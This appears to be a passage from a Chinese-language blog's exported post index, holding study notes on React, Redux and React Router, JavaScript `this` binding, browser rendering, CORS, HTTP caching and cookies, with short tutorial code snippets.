可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行\n通过该钩子函数的返回值来决定该组件是否重新渲染，返回true表示重新渲染，false表示不重新渲染\n根据该钩子函数中定义的条件，来表示是否重新渲染，例如：\nshouldComponentUpdate(nextProps, nextState){ console.log(nextProps, nextState) console.log(this.props, this.state) return false } shouldComponentUpdate()的两个参数分别表示最新的props和state\n而通过this获取的props和state是更新前的\n因此可以通过比较更新前的数据和更新后的数据是否一致来决定是否重新渲染，不一致就重新渲染，一致就不重新渲染\n例如：\nshouldComponentUpdate(nextProps, nextState){ if(nextState.count !== this.state.count){ return true } return false } 也可以直接进行比较来返回值，例如：return nextState.count !== this.state.count\n给子组件加shouldComponentUpdate()，子组件判断是否一致，通过props来判断\n纯组件（PureComponent）（内部对比是shallow compact，浅层对比）\n使用方法：class App extends React.PureComponent{}\nPureComponent内部自动实现了shouldComponentUpdate()钩子功能，不需要手动比较\n纯组件内部通过比较更新前和更新后两次props和state的值，来决定是否重新渲染组件\n浅层对比对于基础类型对比没有影响，就是值和值对比，而对于引用类型，只比较对象的引用地址是否相同，只要地址相同，就返回true，这个很坑\n如果state或者props中属性值是引用类型的，应该新建一个新数据，而不是直接修改原来的数据，例如：\nconst halloobj = { ...state.obj, a: \u0026quot;hallo\u0026quot; } setState({ obj: halloobj }) 虚拟DOM和Diff算法\nreact渲染视图：只要state发生变化就重新渲染视图，部分更新，只更新变化的区域\n虚拟DOM配合Diff算法实现了部分更新功能\n虚拟DOM实质上是一个js对象，来描述视图显示的内容\n在初次渲染的时候，react会根据初始state（Model），来创建一个虚拟DOM树，然后根据虚拟DOM来生成真正的DOM，渲染到视图中\n当数据（state）发生变化时，会重新根据新的数据，创建新的虚拟DOM树\n然后会与上一次得到的虚拟DOM对象，使用Diff算法进行比较，来找到需要更新的内容\n然后只将变化的内容更新（patch）到DOM中，重新渲染到视图\n当组件的render()被调用时，会根据state和jsx结构来生成虚拟DOM对象\nrender()方法调用，不代表视图重新渲染，只是说明要进行Diff比较\nReact路由\n现代前端应用大多是SPA（单页应用程序），也就是只有一个html页面的应用程序，为了使用单页面来管理原来多页面的功能，因此前端路由诞生了\n路由实质上就是从一个视图导航到另一个视图，是一套映射规则，在React中是url路径与组件的对应关系\n安装路由（react）\nyarn add react-router-dom\n导入路由的核心组件（Router, Route, Link）\nimport { BrowserRouter as Router, Route, Link } from \u0026quot;react-router-dom\u0026quot; 使用Router组件来作为根组件来包裹整个应用\n使用Link组件来作为路由入口\n使用Route组件来配置路由规则和要显示的组件（路由出口）\n例如：\nconst Hallo = () =\u0026gt; ( \u0026lt;div\u0026gt; hallo React路由 \u0026lt;/div\u0026gt; ) const PostMax = (props) =\u0026gt;{ return ( \u0026lt;Router\u0026gt; \u0026lt;div\u0026gt; \u0026lt;Link to=\u0026quot;/hallo\u0026quot;\u0026gt;跳转\u0026lt;/Link\u0026gt; \u0026lt;Route path=\u0026quot;/hallo\u0026quot; component={Hallo}\u0026gt;\u0026lt;/Route\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/Router\u0026gt; ) } react路由的执行过程：\n点击Link组件，修改URL\nReact路由监听到URL的变化，React路由内部遍历全部Route组件\n使用路由规则（path）与pathname（浏览器URL）进行匹配\n当路由规则和pathname匹配时，显示该Route组件的内容\n编程式导航（通过js程序来实现页面跳转）\nhistory是react路由提供的，用来获取浏览器历史记录的相关信息\n用法：this.props.history.push(\u0026quot;/hallo\u0026quot;)\n返回上一页面：props.history.go(-1)\npush中的参数就是要跳转的路径\n例如：\nconst PostMax = (props) =\u0026gt;{ return ( \u0026lt;Router\u0026gt; \u0026lt;div\u0026gt; \u0026lt;Link to=\u0026quot;/demoabc\u0026quot;\u0026gt;跳转\u0026lt;/Link\u0026gt; \u0026lt;Route path=\u0026quot;/demoabc\u0026quot; component={Demoabc}\u0026gt;\u0026lt;/Route\u0026gt; \u0026lt;Route path=\u0026quot;/abc\u0026quot; component={Abc}\u0026gt;\u0026lt;/Route\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/Router\u0026gt; ) } const Abc = (props) =\u0026gt; { const onbock = () =\u0026gt;{ props.history.go(-1) } return( \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt; \u0026lt;div onClick={onbock}\u0026gt;返回\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ) } class Demoabc extends React.Component{ onGo = () =\u0026gt;{ this.props.history.push(\u0026quot;/Abc\u0026quot;) } render(){ return( \u0026lt;div onClick = {this.onGo}\u0026gt;goDemo\u0026lt;/div\u0026gt; ) } } 默认路由（进入页面就显示指定组件）：进入页面就匹配的路由\n默认路由为/，例如：\n\u0026lt;Route path=\u0026quot;/\u0026quot; component={Demoabc}\u0026gt;\u0026lt;/Route\u0026gt; 匹配模式\n默认情况下，react路由是模糊匹配\n模糊匹配规则：当pathname以path开头就会匹配成功\n因此默认路由（/）永远都会匹配成功，得出如果当前页面是/Demoabc/xxx，那么/Demoabc和默认路由（/）也是会匹配成功\n精确匹配（避免默认路由匹配成功）\n给Route组件添加exact属性就是将其转换为精确匹配模式\n使用方法：\nreact的jsx中的onClick事件之类的都会封装在组件中，不会污染全局\n在react中使用了一个叫事件委托的事件处理方式\n无论页面有多少个事件，DOM上还是只添加一个事件函数\nVirtual DOM\n前端性能优化有个原则：尽量减少DOM操作\nDOM树是对html的抽象，那么Virtual DOM就是DOM的抽象，react会对比这次和上次渲染出来的Virtual DOM，找到发生改变的地方，达到局部更新数据，只重新渲染发生改变的那个区域，而不是改变个数据，整个dom结构都重新渲染\n根据软件设计的原则，一个优秀的组件要满足高内聚和低耦合的要求\n高内聚：将逻辑或者和逻辑相关的封装到一个组件中\n低耦合：不同的组件的依赖性要弱化，保证每个组件要尽量独立\n组件对外用prop，对内用state\n在外部的组件在任何情况下都不应该直接操作prop的值，而是在内部通过state来操作数据\nreact组件性能优化\n单个组件：通过shouldComponentUpdata函数的定义，在必要的情况下不需要更新，来节约计算资源\n多个组件：利用react的reconciliation算法，在树型结构的根节点不相同的话，react会推倒重新渲染，而如果相同，那么react就会保留节点的DOM元素，只对树型结构树型结构根节点上的属性和内容进行修改，只更新被修改的部分\n巧妙使用key：key在react中就是唯一标识，react通过key来确定组件的身份标识，能更快速识别出哪里发生了改变，key的值不要经常改变，要保证其是唯一性，稳定不变性，请勿使用index作为key\nRedux\nRedux是专门管理数据状态和UI状态的（可预测化的状态管理），Redux通过将应用状态存储在公用仓库（store）中，统一管理，这个仓库里有一个状态树（state tree），组件可以直接向仓库请求，可以通过监控仓库的状态来刷新状态（store的变化会导致view的变化）,调试Redux可以用Redux DevTools，Redux使用的是Flux模式\n安装Redux\nnpm install \u0026ndash;save redux\n或者react-redux\nnpm install \u0026ndash;save react-redux\nsrc/store/reducer.js\nconst StateData = { data:[ 'hallo', 'hahaha' ] } export default (state = StateData,action)=\u0026gt;{ return state } 建立reducer管理\nsrc/store/index.js\nimport { createStore } from 'redux' import reducer from './reducer' const store = createStore(reducer) export default store 上面通过createStore方法创建store仓库，并且暴露store仓库\n组件获取状态\nimport React, { Component } from \u0026lsquo;react\u0026rsquo;; import store from \u0026lsquo;./store\u0026rsquo; class Demo extends Component { constructor(props){ super(props) this.state=store.getState() console.log(this.state) } render() { return ( {this.state.list} ) } }\nRedux有三个原则：唯一数据源，保持状态只读，数据改变只通过纯函数完成\n唯一数据源就是将全部组件（或者应用）状态数据只存放在唯一的一个store上\n保持状态只读就是不直接修改状态数据，通过一个action对象来完成，不是不修改状态数据，而是创建一个新的状态对象返回给Redux，让Redux来完成状态的处理\n数据改变只通过纯函数完成就是通过reducer来规约数据\nReact-Redux将全部组件分为两种，UI组件和容器组件\nUI组件就是只提供UI，没有涉及逻辑处理的，没有状态，不使用任何Redux的api，数据完全靠this.props来提供\n容器组件就是只提供逻辑处理，不涉及任何关于UI的\n一般来说容器组件会包裹UI组件，来提供组件通信，将数据传递给只提供UI的组件，UI根据传递过来的数据来渲染更新\n在Redux中，容器组件都由Redux提供，只需要专注逻辑和UI组件就可以了\n通过connect方法来将UI组件和容器组件连接起来，可以通过connect方法自动生成容器组件\n例如：\nimport { connect } from 'react-redux' const Docker = connect()(Ui) 其中Docker就是通过connect方法生成的容器组件，而Ui就是UI组件\nconnect()方法还支持两个参数，分别是输入逻辑和输出逻辑\n输入逻辑就是如何将数据传递给UI组件的定义（props），输出逻辑就是如何将用户操作UI组件的数据映射到store.dispatch\nwithRouter高阶组件：当某个东西不是router路由时，但是需要它跳转时，就可以使用withRouter\nwithRouter组件是在react-router-dom中的，因此需要引用，用法：\nimport React from 'react' import { withRouter, Route } from \u0026quot;react-router-dom\u0026quot; class Demo extends React.Component { render() { console.log(this.props) return ( \u0026lt;div\u0026gt; \u0026lt;Route exact path='/' component={Home} /\u0026gt; \u0026lt;Route path='/admin' component={Admin} /\u0026gt; \u0026lt;/div\u0026gt; ) } } export default withRouter(Demo) 可以看到withRouter接收一个组件，router的history, location, match存储在组件的props属性中\n","permalink":"https://chenjunlinabc.github.io/posts/63/","summary":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } },() =\u0026gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = ( \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt; ) console.log(Abc) 可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行","title":"深入学习React"},{"content":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location) const urlData = \u0026quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转\nwindow.location.assign(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) reload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true) history表示浏览器的历史记录\nconsole.log(window.history) length表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen) call 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(\u0026lsquo;copy\u0026rsquo;) // 复制\ndocument.execCommand(\u0026lsquo;cut\u0026rsquo;) // 剪切\ndocument.execCommand(\u0026lsquo;paste\u0026rsquo;) // 粘贴\nClipboard API新一代剪贴板操作方法，而且全部操作都是异步的，而且还可以将任何内容都放到剪贴板中\nconst NavigatorClipboard = navigator.clipboard\nWeb Workers\nWeb Workers就是创建多线程的，因为JavaScript是单线程语言\nWeb Workers允许主线程创建Workers线程，将任务分配给Workers线程\n主线程和Workers线程在运行的时候，互不干扰，当Workers线程处理完毕再将结果返回给主进程\n注意：Workers线程不能和主线程进行通信，不能读取本地文件，只能通过网络文件获取，而且Worker执行的脚本文件必须要和主线程同源\n创建Worker线程\nvar worker = new Worker(\u0026lsquo;https://xxx.xxx/data.js')\n可以看出Worker构造函数的参数是一个脚本文件，例如js\n注意：因为Worker不能读取本地文件，只能从网络上获取，因此会出现下载失败的情况，当下载失败的时候，不会抛出错误的\n主线程和worker线程通信\nworker.postMessage(\u0026ldquo;hallo word\u0026rdquo;)\nworker.onmessage = function (event) { console.log('data: ' + event.data) } 当worker线程处理完毕，结果可以被event.data获取到\n关闭worker线程\nworker.terminate()\n深拷贝和浅拷贝\n浅拷贝：两个变量指向同一个内存地址，修改任何一个值，另一个的值也会跟着变化\n例如：\nvar obj = { name: \u0026quot;root\u0026quot; } var abc= obj abc.name = \u0026quot;admin\u0026quot; console.log(obj, adc) 深拷贝：将对象的值复制，并且给予新的变量名和地址，改变一个值，并不会引起另一个值的变化，因为引用地址不同\n例如：\nvar obj = { name: \u0026quot;root\u0026quot; } var abc = { ...obj } abc.name = \u0026quot;admin\u0026quot; console.log(obj, abc) new的作用：实例化一个新的对象-调用构造函数并且将构造函数的this指向该实例对象-实例对象共享构造函数的方法和属性\nJavaScript的内存管理机制与垃圾回收机制\n内存管理机制就是分配内存，JavaScript的内存管理就是创建时分配，不使用就是被回收释放\nJavaScript内存空间分为栈，堆，池\n栈存放变量，堆存放复杂对象，池存放常量\n在声明一个变量或者对象，函数的时候系统会自动分配内存，使用完毕的时候通过垃圾回收机制自动回收\n浏览器最常见的垃圾回收有两个，分别是标记清除，引用计数\n标记清除：垃圾回收器会给存储在内存中的变量一个标记，然后会去掉在环境中的变量及被环境中的变量引用的变量标记（闭包），而在此之后剩下的带有标记的变量视为要被删除的变量，最后垃圾回收器将释放这些变量的内存，回收它们所占用的空间\n引用计数：通过跟踪记录每个值被使用的次数，调用一次值解就加一，改变值为另一个值时就减一，当次数为0时，就是在说明没有变量在使用，这个值已经无法访问，垃圾回收器在运行的时候清理回收引用次数为0的值占用的空间\n注意：引用计数方法会导致内存泄露，因为其循环引用，导致闭锁\nthis指向：在严格模式中，函数内部的this被指向到undefined上，在非严格模式上会被绑定到window/global全局对象上，在使用new调用构造函数时，该构造函数内部的this被指向到这个new出来的对象上，在使用call/apply/bind方法调用函数时，该函数内部的this被指向call/apply/bind方法指定参数的对象上，在箭头函数中，this的指向取决于外部作用域，在执行上下文中，this取决于最后调用它的对象\nthis优先级：使用bind，apply，call，new绑定this指向的叫显式绑定，而通过调用方式来绑定叫隐式绑定，显式绑定的优先级比隐式绑定的优先级高，在显式绑定中，new优先级最高\n当某个函数在对象上下文中被调用，这个函数的this会绑定在这个对象上下文中，例如：\nfunction abc(){ console.log(this.a) } let a = 1 let obj = { a: 123, abc: abc } let obj1 = { a: 666, obj: obj } obj.abc() // 哪怕在全局作用域中调用，this依然指向对象上下文 obj1.obj.abc() // 可以看到对象属性引用链只有真正调用函数的才可以影响this 丢失this绑定（由于默认绑定，会默认绑定到全局对象或者undefined上，从而丢失了this），例如：\nfunction abc(){ console.log(this.a) } var obj = { a: 123, abc: abc } var funs = obj.abc var a = 666 funs() funs变量的值为obj.abc的引用，注意不是调用，调用要加()，执行funs时就是在调用abc函数（因为funs的值就是abc函数的引用），因此abc函数的this指向了全局对象（a在全局作用域中，会变成全局对象的属性），导致丢失了想要指向obj对象的this\n使用let或者const关键字声明的全局变量，会被绑定到Script对象上而不是Window对象，使用var定义的变量，就可以被绑定到Window对象上\n例如：\nvar abc = \u0026ldquo;hallo\u0026rdquo; console.log(this.abc) // hallo console.log(this) // Window\nlet abc = \u0026ldquo;hallo\u0026rdquo; console.log(this.abc) // undefined console.log(this) // Window\nbind，apply，call都是改变this指向的\nbind()：第一个参数是this的指向，后面的是参数列表，可以多次传入，而call要求一次性传入完毕\n例如：\nvar arr=[1,2,4,6,7,10] var max=Math.max.bind(null,arr[0],arr[1],arr[2]) console.log(max()) // 4\napply():接受两个参数，第一个参数是this的指向，第二个参数是函数接收的参数（这个参数是通过数组形式传参），如果第一个参数为null或者undefined的时候，将指向window\nconst arr = [1,2,4,6,7,10] const abc = Math.max.apply(null,arr) console.log(abc) // 10\ncall():第一个参数是this的指向，后面传入的是一个参数列表（注意要一次性传完），当第一个参数为null或undefined的时候，表示指向window，call是临时改变一次this指向，并立即执行（和apply()一样）\nvar arr=[1,2,4,6,7,10] var max=Math.max.call(null,arr[0],arr[1],arr[2]) console.log(max) // 4\ncall和apply可直接对函数进行调用，而bind是返回一个函数，这个函数已经绑定了新的this指向，需要()来调用\n显式硬绑定\nfunction abc(){ console.log(this.a) } var obj = { a: 123, abc: abc } var funs = function(){ abc.call(obj) } funs() funs.call(windos) // 不能修改this，因为调用funs函数本身就是在绑定this 数字 Number 字符串 String 对象 日期 Date 对象 数组 Array 布尔 Boolean 算数 Math\n防抖动（Debouncing）和节流阀（Throtting）\n防抖和节流是web性能优化的知识点，常见于处理触发频率较高的函数，例如：滚动条监听\n防抖(debounce)\n触发事件，不立刻执行，而是事件发生后一段时间在执行，延迟执行，例如setTimeout()\n每触发一次，都要经过一定时间后才进行执行，而该事件再触发，那么上一个触发的时间作为新起点\n可以理解为触发事件后在一定时间内只执行一次，如果在该一定时间内又触发了事件，那么重新计算\n节流(throttle)\n节流其实就是连续触发多次事件，但是在一定时间只触发一次函数\n防抖和节流的区别就是，一个在一定时间内只执行一次，多次触发重新计算，而另一个就是在一定时间内触发一次\nDOM事件流/事件委托\nDOM事件流实质上就是页面中接收事件的顺序，当事件被触发的时候，事件在dom节点之间按照顺序传播，这个就是DOM事件流\n事件被触发，执行目标该事件的处理函数，一个事件被触发，传递给自己父级，一直到window，这个叫事件冒泡\n捕获事件和冒泡只能执行其中一个，例如不想执行某个事件冒泡，就可以捕获其事件，从而达到阻止冒泡的情况发生\n事件对象（event）：这个对象包含了事件的相关数据\nev = event || window.event\nev.target可以获取到是说触发了这个事件，例如：\nconst ev = event || window.event const div = document.querySelector('div') div.addEventListener('click', function (ev) { console.log(ev.target) }) 还有preventDefault()，stopPropagation()分别用来阻止默认事件和冒泡的\n事件委托\n事件委托实质上就是不在子元素上设置事件监听，而是在其父元素上，利用冒泡事件来设置给子元素\n在父元素上绑定事件监听，然后通过ev.target来精确找到是那个子元素触发的，然后事件冒泡到父元素上，因为父元素有事件监听器，因此触发\nthis会变，但是ev.target永远会精确找到触发事件的目标元素，可以不再使用this来表示当前事件触发元素了\nDOM加载顺序（浏览器加载顺序）：解析HTML-加载外部脚本和样式表-解析脚本并且执行-构造DOM模型-加载外部文件（例如图片视频音频等等）\n浏览器渲染过程\n接收获取到html/css/JavaScript等资源后\n浏览器解析渲染该资源，在渲染页面之前后先构建DOM树和CSSOM树\nDOM树实质就是DOM对象模型，提供了对DOM的结构的方法（例如js就是通过dom来操作结构和样式等等）\nCSSOM树实质就是样式对象模型，是css的对象集合\n通过DOM树和CSSOM树合并为RenderObject树（RENDER树，又叫渲染树），通过一系列的布局，绘制操作，再通过浏览器来将渲染交给GPU进程来合成，最后显示页面\n因为JavaScript被设计成GUI渲染和JavaScript互斥，当JavaScript执行的时候，GUI线程会被挂起，等待JavaScript执行完毕后才会执行GUI渲染操作\n因此当JavaScript执行时间过长，会导致GUI渲染DOM加载堵塞\n另外CSS加载也是会阻塞DOM的渲染，因为它需要等CSSOM构造完毕才会开始渲染（RenderObject树依赖于DOM树和CSSOM树）\n而且CSS会在JavaScript执行之前加载执行，因此也是会阻塞JavaScript执行\n关键渲染路径(Critical Rendering Path)优化\n为了完成第一次渲染，应该尽量减少关键资源加载的数量，减短关键资源的获取时间，减小关键资源文件的大小\n在生产环境中，应该减少不必要的注释，空格，尽量做到min文件，可以利用GZIP来压缩文件，来减小文件大小，利用缓存机制来减少获取资源的数量\n注意：浏览器遇到script元素的时候，会阻止解析器执行操作，当CSSOM树构建完毕才会执行JavaScript，再解析\n可以利用script元素的async属性来让其继续执行，而且不会被CSSOM阻止\nscript元素的defer属性可以等解析完毕（Loaded）后再执行\n浏览器的回流和重绘\n当渲染树（RenderTree）某个部分出现改变（例如尺寸，属性等等），浏览器会重新渲染该部分或者全部的过程叫回流（reflow）\n页面第一次渲染，视窗大小发生改变，元素位置或者大小发生改变，元素字体大小发生改变，添加或删除DOM元素等等都会导致回流\n例如：增加，删除，修改dom节点，移动dom位置，修改css样式（大小），改变窗口的对象（Resize）（移动端没这个问题），滚动页面，修改网页的字体等等\n重绘（Repaint）：当元素不会改变其在正常流（文档流）的时候，只是改变样式，浏览器将新样式给元素并且重新绘制其\n回流和重绘危害性，肯定是回流严重，一个是重新渲染，另一个只是渲染其本身\n性能优化\n减少http请求次数（缓存或者本地存储），减少http请求文件的体积，图片优化（压缩），提升http请求速度\n减少dom操作（避免浏览器回流），事件委托，DOM Fragment，防抖节流，尽量不使用全局变量，布局优先选择flex\n异步加载css和js，预加载preload，页面加载动画，骨架屏，路由（组件）懒加载，组件缓存（keepalive）\n因为浏览器有同域策略，跨域会阻止，因此要解决跨域问题\n跨域资源共享(CORS)\n跨域发生的原因并不是在服务端，而是浏览器，实质上跨域发生后，服务端接收到请求，并且返回响应，但是浏览器接收到了响应后，因为浏览器的安全策略的原因，如果符合跨域的要求，但是没有通过Access-Control-Allow-Origin参数来允许客户端跨域请求该数据的话，浏览器将忽略响应结果，返回发生跨域的报错，从而得出，跨域是浏览器的安全策略的一种，确保得到的响应是服务端的的确确是发送给浏览器（客户端）的，而且也能进一步避免浏览器处理了另一个域的恶意脚本，也能进一步避免服务端的敏感数据对不合法请求的暴露\n注意：localhost和127.0.0.1是存在映射关系，但是浏览器不知道localhost是映射到哪里的，因此浏览器会认为localhost和127.0.0.1是不同域的\nCORS可以通过http头来告诉浏览器，准许访问来自不同源的指定资源\n只需要服务器设置Access-Control-Allow-Origin就可以，只有特殊跨域才需要设置\nnginx配置 location / { add_header Access-Control-Allow-Origin *; }\n谷歌浏览器标记：\u0026ndash;disable-web-security（禁用同源策略）\nJSONP是json的补充，并不是官方的标准，jsonp是利用script标签和img标签之类的可以直接引用其他域的文件（没有跨域限制）\njsonp跨域，例如：\nlet script = document.createElement('script') script.type = 'text/javascript' script.src = 'https://test.xiaochenabc123.test.com/test.js' document.head.appendChild(script) node跨域\napp.all('*', function(req, res, next) { console.log(req.method); res.header(\u0026quot;Access-Control-Allow-Origin\u0026quot;, \u0026quot;*\u0026quot;); res.header(\u0026quot;Access-Control-Allow-Origin\u0026quot;, \u0026quot;https://test.xiaochenabc123.test.com\u0026quot;); res.header('Access-Control-Allow-Headers', 'Content-type'); res.header(\u0026quot;Access-Control-Allow-Methods\u0026quot;, \u0026quot;PUT,POST,GET,DELETE,OPTIONS,PATCH\u0026quot;); res.header('Access-Control-Max-Age',1728000); next(); }); 预检请求\nCORS预请求：浏览器会发送一个OPTIONS请求到服务端验证跨域的配置是否正确，然后服务端返回一个响应来确定跨域是否被允许\nCORS将请求分成2种，简单请求（simple request）和非简单请求（not-simple-request）\n简单请求（满足下面的条件就是简单请求，否则就是非简单请求）：\n请求方式：必须是GET请求，POST请求，HEAD请求这三个之一\n请求头：请求头只能设置Accept，Accept-Language，Content-Language，Content-Type这三个字段\nContent-Type：该字段的值只能设置text/plain，multipart/form-data，application/x-www-form-urlencoded这三个值\n简单请求不会触发CORS预检请求，直接向目标服务器发送请求，如果满足CORS配置，服务器则返回响应，如果不是简单请求，那么浏览器会在发送请求之前发送预检请求给服务器，检查当前请求是否符合服务器的CORS配置，如果不符合则跨域报错，符合后才发送真正的请求\nCORS预检请求：使用OPTIONS请求发送预检请求到服务器上，来确定服务器是否允许该请求，该请求包含了两个字段，分别是Access-Control-Request-Method和Access-Control-Request-Headers，服务器接收到请求后，发送预检请求的响应，该响应中包括Access-Control-Allow-Headers和Access-Control-Allow-Origin这些字段，来限制请求，浏览器接收到该响应后才发送真实的资源请求\n（客户端）Access-Control-Request-Method表示实质请求用什么请求方式，Access-Control-Request-Headers表示实质请求携带了什么字段，由服务端来检查，该请求是否被允许\n（服务端）Access-Control-Allow-Origin表示服务器限制请求的源域，没有限制为*，Access-Control-Allow-Headers表示服务器允许请求携带什么字段，Access-Control-Allow-Methods表示服务器允许用什么请求方式来请求，Access-Control-Max-Age表示该预检请求的响应可以缓存多久（在该时间段内不用再发送同一请求的预检请求）\n注意：浏览器有个最大有限时间，Access-Control-Max-Age响应头（服务端响应），该响应头表示了本次预检请求的响应可以被缓存多久，单位为秒（不同浏览器最大有限时间都不同，Firefox为86400秒，目前最新chromium为7200秒），在这个时间段内浏览器不需要再为同一个请求发送预检请求\n缓存\nres.header(\u0026quot;Cache-Control\u0026quot;,\u0026quot;max-age=60\u0026quot;); private指的单个用户，public可以被任何中间人、CDN等缓存\nHTTP的可缓存性（public（允许被任何人（客户端，中间人，代理都可以）缓存），private（只能缓存在客户端，代理服务器无法获得缓存），no-cache（禁止强缓存，每次都需向服务端验证缓存是否过期，只有当确认没有过期后才能被缓存））\n缓存到期(max-age（缓存的到期时间，单位为秒，距离上一次请求多少秒后缓存过期），s-maxage（设置代理服务器的缓存到期时间，单位为秒），max-stale（允许缓存超过max-age或者s-maxage设置的缓存生存时长，该配置表示过期的缓存最大可以缓存多久，单位秒，也就是说实质缓存过期时间是max-age+max-stale（或者s-maxage））)\n重新验证（must-revalidate（和no-cahe类似，但是该参数允许缓存过期多少秒后进行验证，单位为秒），proxy-revalidate（和must-revalidate类似，不过只作用于代理服务器））\nno-store（禁止缓存），no-transform（不允许对资源进行压缩或者转换的工作）\n设置一个完全禁止缓存（Cache-Control: no-cache, no-store, must-revalidate）\n缓存的验证（Last-Modified（表示上次修改的时间），Etag（数据的唯一签名，如果资源发生改变，签名会发生改变））\nIf-Modified-Since：第二次访问该资源时，浏览器会向服务端发送一个请求，来确定该资源是否发生修改（重启服务器也会导致认为已经修改），如果没有修改则继续使用缓存（该请求的响应为304），如果已经修改了则重新对该资源的拉取\nIf-None-Match：当浏览器请求该资源时，服务端会发送一个Etag给浏览器，浏览器第二次请求该资源时，发送一个If-None-Match给服务端，让服务端来验证资源是否发送了改变\ncookie\ncookie通过Set-Cookie设置\ncookie是具备过期时间的，通过max-age来设置（表示该cookie存活多长时间后被销毁，单位秒），默认当浏览器销毁该会话时自动删除cookie，还可以设置expires来设置过期时间（指定该cookie到达什么时间后消耗，根据过期时间和本地客户端的时间进行对比，如果超过或者已经到了过期时间，就会销毁该cooki）\n设置httponly后无法通过document.cookie访问cookie（安全）\nsecure只在https时发送该cookie（安全）\nDomain只在命中该域时发送该cookie（安全）\npath可以限制服务端哪个路径下可以访问到该cookie（安全）\nconst http = require(\u0026quot;http\u0026quot;) http.createServer(function (_request, response) { response.writeHead(200,{ 'Content-Type': 'text/plain', 'Set-Cookie': 'id=abc' // 'Set-Cookie': ['id=abc; max-age=5','pass=123; HttpOnly Secure=true','age=20; Domain=test.xiaochenabc123.test.com; path=/testWeb/'] }) response.end(\u0026quot;hallo nodejs\u0026quot;) }).listen(8888) console.log('Server running at http://127.0.0.1:8888/') 